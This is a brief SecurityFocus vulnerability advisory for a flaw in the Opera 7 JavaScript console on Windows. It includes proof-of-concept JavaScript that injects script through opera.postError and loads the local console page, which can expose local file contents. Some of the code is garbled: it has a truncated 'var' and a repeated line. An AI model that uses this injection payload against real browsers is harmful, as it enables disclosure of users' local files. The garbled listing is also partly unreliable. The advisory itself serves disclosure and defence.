source: http://www.securityfocus.com/bid/7449/info

A vulnerability has been reported for Opera 7 browsers for Microsoft Windows operating systems. The vulnerability exists in the Opera JavaScript console. Attackers may exploit the vulnerability to execute script code in a sensitive context. Exploitation of this vulnerability may lead to disclosure of local file contents.

ar message = "http://');alert(location.href+'";
opera.postError( message );
location.href = "file://localhost/console.html";

var message = "http://&#39;);alert(location.href+&#39;";
opera.postError( message );

Additional exploit examples can be found in the attached Bugtraq reference.
location.href = "file://localhost/console.html";